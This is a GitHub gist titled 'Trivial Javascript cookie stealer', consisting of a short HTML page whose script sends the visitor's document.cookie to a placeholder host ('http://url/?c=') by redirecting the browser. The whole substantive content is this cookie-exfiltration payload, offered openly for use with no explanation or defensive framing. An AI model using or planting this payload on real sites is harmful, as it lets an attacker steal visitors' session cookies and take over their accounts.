Skip to content

Instantly share code, notes, and snippets.

@b13bs
Last active June 19, 2018 14:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save b13bs/2a0db94913e5591b463806cce848ef49 to your computer and use it in GitHub Desktop.
Save b13bs/2a0db94913e5591b463806cce848ef49 to your computer and use it in GitHub Desktop.
Trivial Javascript cookie stealer
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Page title</title>
</head>
<body>
<script>
document.location="http://url/?c=" + document.cookie;
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment